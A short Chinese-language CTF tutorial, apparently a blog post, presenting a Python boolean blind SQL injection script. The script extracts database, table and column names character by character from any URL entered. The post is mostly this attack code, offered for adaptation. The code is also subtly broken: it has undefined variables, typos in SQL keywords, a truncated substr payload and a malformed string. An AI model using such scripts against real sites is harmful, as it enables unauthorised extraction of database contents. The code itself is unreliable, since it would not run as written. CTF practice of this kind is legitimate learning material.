在做ctf時,我們會碰到很多的SQL注入的題目,可能會有各種各樣的過濾,有時候sqlmap會無法滿足我們的需求,無法繞過各種各樣的注入,所以我們需要手寫盲注腳本來對注入點進行注入,自己寫腳本的好處就是我們可以根據自己的需求對腳本的功能進行修改,達到繞過注入過濾的目的。
import requests s = requests.session() url = input("請輸入url:") payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'#mysql字母不區分大小寫,所以不用加入大寫字母,還有各種符號,可以自由添加 headers = {'cookie':''}#需要登陸的可以在這里加入cookies #爆破數據庫的長度 for l in range(1,50):#這里用來爆破庫的長度,非必須,可以將爆破庫名時的循環設置的長一點,大於正常庫名長度 databaseLen_payload = '?id=1\' and length(database())= '+str(l) + ' %23&Submit=Submit#'#將#和\號使用url編碼,在#號后將完整的url拼接起來 if '' in s.get(url+databaseLen_payload,headers=headers).text:# 這里面寫入判斷布爾型存在的根據 databaseLen =l break print('database_lenth: '+str(databaseLen)) #爆破數據庫的名 database_name = ''# for l in range(1,databaseLen+1): for i in payloads: database_payload = '?id=1\' and substr(database(),'+str(i)+'\' %23&Submit=Submit#'#拼接完整的url if '' in s.get(url+database_payload, headers=headers).text: database_name += i print('database_name:'+database_name) #爆破表的個數 for l in range(1,50): tableNum_payload = '?id=1\'and(select count(table_name) from information_schema.tables where table_schema=database())='+str(j)+' %23&Submit=Submit#' if '' in s.get(url+tableNum_payload,headers=headers).text: tableNum =l break print('tableNum:'+str(tableNum)) #爆出所有的表名 #先爆出表名的長度 for l in range(0,tableNum): table_name = '' for i in range(1,50): tableLen_payload = '?id=1\' and length(substr((select table_name form information_schema.tables where tale_schema=database() limit ' +str(l) +',1),1))=' +str(i) +' %23&Submit = Submit#' # 用法substr('This is a test', 6) 返回'is a test' if '' in s.get(url+tableLen_payload, headers=headers).text: tableLen = i print('table'+str(j+1)+'_length: '+str(tableLen)) # (2)內部循環爆破每個表的表名 for m in range(1,tableLen+1): for n in payloads: # i在上個循環用過了 table_payload = '?id=1\' and substr((select table_name from information_schema.tables where table_schema=database() limit '+str(j)+',1),'+str(m)+',1)=\''+str(n)+'\' %23&Submit=Submit#' if 'User ID exists in the database.' in s.get(url+table_payload, headers=headers).text: table_name += n print('table'+str(j+1)+'_name: '+table_name) #根據上個腳本獲得的結果,來跑對應表中的字段 s =requests.session() #保持會話 #判斷表中的字段數目 columnNum = 0 for l in range(50): columnNum_payload = '?id=1\' and(select count(column_name)from information_schema.columns where table_name = \ '') = 'str(l)+'%23&Submit = Submit' if '' in s.get(url+columnNum_payload,headers=headers).text: columnNum = l break print('columnNum:'+str(columnNum)) #爆出每個字段的長度 for l in range(0,columnNum): column_name = '' for i in range(1,50): columnLen_payload = '?id=1\' and length(substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit ' + str( j) + ',1),1))=' + str(i) + ' %23&Submit=Submit#' if 'User ID exists in the database.' in s.get(url + columnLen_payload, headers=headers).text: columnLen = i print('column' + str(j + 1) + '_length: ' + str(columnLen)) # (2)內部循環爆破每個表的表名 for m in range(1, columnLen + 1): for n in payloads: # i在上個循環用過了 column_payload = '?id=1\' and substr((select column_name from information_schema.columns where table_name=\'flagishere\' limit ' + str( j) + ',1),' + str(m) + ',1)=\'' + str(n) + '\' %23&Submit=Submit#' if 'User ID exists in the database.' in s.get(url + column_payload, headers=headers).text: column_name += n print('column' + str(j + 1) + '_name: ' + column_name)
這種腳本還是比較簡單的,我們可以在碰到具體的題時,對腳本內容進行修改,實現各種功能。